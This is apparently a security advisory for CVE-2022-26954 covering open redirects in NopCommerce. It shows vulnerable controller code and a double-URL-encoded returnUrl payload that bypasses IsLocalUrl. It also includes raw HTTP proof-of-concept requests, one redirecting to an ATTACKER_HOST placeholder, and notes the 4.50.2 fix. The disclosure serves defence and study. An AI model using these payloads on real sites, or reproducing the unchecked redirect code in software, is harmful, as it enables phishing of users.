adeadfed / **cve-2022-26954.md**

[CVE-2022-26954] Multiple Open Redirects in NopCommerce

cve-2022-26954.md

Info

Multiple Open Redirects in NopCommerce

Software Link	NopCommerce Web Platform
Affected Versions	4.10 - 4.50.1
Tested on	NopCommerce 4.40, 4.50.1
Vulnerable Components	src/Presentation/Nop.Web.Framework/Mvc/Routing/NopRedirectResultE src/Presentation/Nop.Web/Controllers/CustomerController.cs, src/Libraries/Nop.Services/Customers/CustomerRegistrationService.cs, src/Libraries/Nop.Services/Authentication/External/ExternalAuthenticatio
CVSS 3.0	CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:N
CVE	CVE-2022-26954

Summary

Multiple flaws in the handling of `returnurl` parameter allow for multiple open redirects in the application that may be abused by an attacker to construct successful phishing campaigns on application users by crafting URLs of legitimate application that will seamlessly redirect users to attacker-controlled resources.

Fix

The issue was fixed in the minor NopCommerce 4.50.2 release on April 14th 2022.

Code commit with corresponding fixes

Details

The NopCommerce web application uses the `UrlHelper.IsLocalUrl` built into the `C#` framework to prevent open redirections when handling user-supplied URL path parameters, such as `returnUrl` .

```
...
//prevent open redirection attack
if (!Url.IsLocalUrl(returnUrl))
    return RedirectToAction("Index", "Home", new { area = AreaNames.Admin });

return Redirect(returnUrl);
...
```

Code snippet illustrating checks over `returnUrl` parameter prior to the redirection

However, this defence mechanism is not consistently implemented within the application controllers. In particular, the following controller methods are missing the functionality:

- `ChangePassword` (`src/Presentation/Nop.Web/Controllers/CustomerController.cs`)

```
[HttpPost]
public virtual async Task<IActionResult> ChangePassword(ChangePasswordModel mode
{
  ...
        if (changePasswordResult.Success)
  {
      _notificationService.SuccessNotification(await _localizationService.GetRes
      return string.IsNullOrEmpty(returnUrl)  ? View(model) : new RedirectResult
  }
```

```
    ...
}
```

- `SignInCustomerAsync` (`src/Libraries/Nop.Services/Customers/CustomerRegistrationService.cs`)

```
public virtual async Task<IActionResult> SignInCustomerAsync(Customer customer,
{
    ...
    //redirect to the return URL if it's specified
    if (!string.IsNullOrEmpty(returnUrl))
        return new RedirectResult(returnUrl);

    return new RedirectToRouteResult("Homepage", null);
}
```

- `SuccessfulAuthentication` (`src/Libraries/Nop.Services/Authentication/External/ExternalAuthenticationService.cs`)

```
protected virtual IActionResult SuccessfulAuthentication(string returnUrl)
{
    //redirect to the return URL if it's specified
    if (!string.IsNullOrEmpty(returnUrl))
        return new RedirectResult(returnUrl);

    return new RedirectToRouteResult("Homepage", null);
}
```

The aforementioned methods do not contain any checks over the user supplied value, and thus are vulnerable to the open redirects. Open redirects can be triggered by sending the following requests to the application:

An up-to-date build (on 17.02.2022) from the official NopCommerce GitHub was used to demonstrate the issue

```
POST /login?returnurl=https://google.com HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:97.0) Gecko/20100101
Firefox/97.0
```

```
Content-Type: application/x-www-form-urlencoded
Content-Length: 242
Origin: http://localhost
Connection: close
Referer: http://localhost/login?returnUrl=https://google.com
Cookie: COOKIES

Email=EMAIL&Password=PASS&__RequestVerificationToken=CSRF_TOKEN&RememberMe=false

HTTP/1.1 302 Found
Content-Length: 0
Connection: close
Date: Thu, 17 Feb 2022 08:11:48 GMT
Server: Kestrel
Cache-Control: no-cache,no-store
Content-Language: en-US
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Location: https://google.com
```

Open redirect after a successful login

```
POST /customer/changepassword?returnUrl=https://google.com HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:97.0) Gecko/20100101
Firefox/97.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 318
Origin: http://localhost
Connection: close
Referer: http://localhost/customer/changepassword
Cookie: COOKIES
Upgrade-Insecure-Requests: 1

OldPassword=OLD_PASS&NewPassword=NEW_PASS&ConfirmNewPassword=NEW_PASS&__RequestVerif


HTTP/1.1 302 Found
Content-Length: 0
Connection: close
Date: Thu, 17 Feb 2022 09:02:15 GMT
Server: Kestrel
Content-Language: en-US
Location: https://google.com/
X-MiniProfiler-Ids: ["9d6e3a1a-9f9f-4caa-ae31-35b2332ce128"]
```

Open redirect after a successful password change

Furthermore, a flaw in a custom `RedirectResultExecutor` class, used to handle all HTTP redirects in the application, can be abused to **bypass any defence mechanisms and perform open redirects in any application controllers that use client-side supplied input (e.g., in `returnUrl`) to perform the redirect**.

The issue is exploitable in all versions from commit #2731 Add URL encoding on redirection to URL with non-ASCII chars(January 23, 2018) to commit #3192 Fixed URL encoding on redirect (November 24, 2021).

Code of the vulnerable `NopRedirectResultExecutor.ExecuteAsync` method, located in `src/Presentation/Nop.Web.Framework/Mvc/Routing/NopRedirectResultExecutor.cs`, is shown below:

```
/// <summary>
/// Execute passed redirect result
/// </summary>
/// <param name="context">Action context</param>
/// <param name="result">Redirect result</param>
/// <returns>A task that represents the asynchronous operation</returns>
public override Task ExecuteAsync(ActionContext context, RedirectResult result)
{
    if (result == null)
        throw new ArgumentNullException(nameof(result));

    if (_securitySettings.AllowNonAsciiCharactersInHeaders)
    {
        //passed redirect URL may contain non-ASCII characters, that are not allowed
        //so we force to encode this URL before processing
        result.Url = WebUtility.UrlDecode(result.Url);
    }

    return base.ExecuteAsync(context, result);
}
```

The application URL-decodes the `returnUrl` parameter and puts it directly into the `Location` header of the response served to the client.

Any preceding `IsLocalUrl` checks can be effectively ignored by adding the second `/` character (char `0x27`) in double-URI encoding.

For example, the payload `returnUrl=%2f%252fgoogle.com` will undergo the following processing:

1. The application web server will natively decode the first layer of URL encoding and pass it to the controller:

   `%2f%252fgoogle.com --> /%2fgoogle.com`

2. The controller will perform the `IsLocalUrl` check over the `/%2fgoogle.com` value:

   Since the second `/` is still being encoded as `%2f`, the function will return `true`:

   `IsLocalUrl("/%2fgoogle.com") --> true`

3. The `/%2fgoogle.com` value will be used to call `Redirect` function

4. The `/%2fgoogle.com` value will be processed by the `NopRedirectResultExecutor`, once more decoded into `//google.com`, and directly served in the `Location` header:

```
result.Url = WebUtility.UrlDecode(result.Url); // will result in "//google.com"
...
return base.ExecuteAsync(context, result);
```

```
[*] returnUrl value: "/%2fgoogle.com"
[+] result.Url value: "//google.com"
```

Verbose printing of local variables inside the `NopRedirectResultExecutor` during processing of an attacker-injected value

Thus, it is possible to achieve the following server behavior in all client-side controlled redirects:

```
POST /en/login?returnurl=%2F%252fATTACKER_HOST HTTP/2
Host: localhost
Cookie: COOKIES
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:97.0) Gecko/20100101
Firefox/97.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 249

Username=USER&Password=PASS&__RequestVerificationToken=CSRF_TOKEN&RememberMe=false


HTTP/2 302 Found
Date: Tue, 15 Feb 2022 20:48:29 GMT
Content-Length: 0
```

```
Cache-Control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Location: //ATTACKER_HOST
```

A `Location` header value of `//ATTACKER_HOST` is actually a valid, shortened form of `CURRENT_URI_SHEME://ATTACKER_HOST` and will be successfully processed and followed to by modern browsers.

`NopRedirectResultExecutor` was partially fixed in BugFix `#3192` and now uses extra processing before returning the value to the client:

```
/// <summary>
/// Execute passed redirect result
/// </summary>
/// <param name="context">Action context</param>
/// <param name="result">Redirect result</param>
/// <returns>A task that represents the asynchronous operation</returns>
public override Task ExecuteAsync(ActionContext context, RedirectResult result)
{
    if (result == null)
        throw new ArgumentNullException(nameof(result));

    if (_securitySettings.AllowNonAsciiCharactersInHeaders)
    {
        //passed redirect URL may contain non-ASCII characters, that are not allowed
        //so we force to encode this URL before processing
        var url = WebUtility.UrlDecode(result.Url);

        var urlHelper = result.UrlHelper ?? _urlHelperFactory.GetUrlHelper(_actionCo

                                var isLocalUrl = urlHelper.IsLocalUrl(url);

        var uri = new Uri(isLocalUrl ? $"{_webHelper.GetStoreLocation().TrimEnd('/')

        result.Url = isLocalUrl ? uri.PathAndQuery : $"{uri.GetLeftPart(UriPartial.Q
                }
    return base.ExecuteAsync(context, result);
}
```

The following mutations are performed on the attacker-injected `/%2fgoogle.com` value:

1. The application URL-decodes the `returnUrl` parameter value into a `url` variable.

2. The `url` is checked with the built-in `IsLocalUrl` helper check to determine if it is relative or not.
3. The check returns `false` on the decoded value `//google.com` , and the `url` is then processed as external.
4. The application then initiates a new `uri` variable that uses the built-in `Uri` class to process the `//google.com` value as an absolute URL. The `Uri` class constructor, due to the lack of a URI scheme, will treat the value as local path and prepends a `file://` schema.
5. The `uri` variable is converted back to string.
6. The resulting value is served to the client in the `Location` header.

Although the core weakness with bypassing the preceding `IsLocalUrl` checks on `returnUrl` values still can be exploited by an attacker to achieve an open redirect, the `file://` schema that is now returned back to the browser has almost no practical impact, as it is likely ignored by the browsers' security policies (`ERROR_INSECURE_REDIRECT`). However, the issue can still affect HTTP clients that use the native API for communication and data processing.

```
[*] returnUrl value: "/%2fgoogle.com"
[*] url value: "//google.com"
[?] isLocalUrl value: False
[*] uri value: Uri(file://google.com/)
[+] Resulting redirect URI value: Uri(file://google.com/)
```

New behavior processing logs from supplying `/%252fgoogle.com` into the `returnUrl`

```
POST /login?returnurl=/%252fgoogle.com HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 252
Cookie: COOKIES

Email=EMAIL&Password=PASS&__RequestVerificationToken=CSRF_TOKEN&RememberMe=false

HTTP/1.1 302 Found
Content-Length: 0
Connection: close
Date: Tue, 15 Feb 2022 20:40:34 GMT
Server: Kestrel
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Location: file://google.com/
```

New `NopRedirectResultExecutor` behavior on local instance of the up-to-date (17.02.2022) application compiled from GitHub source code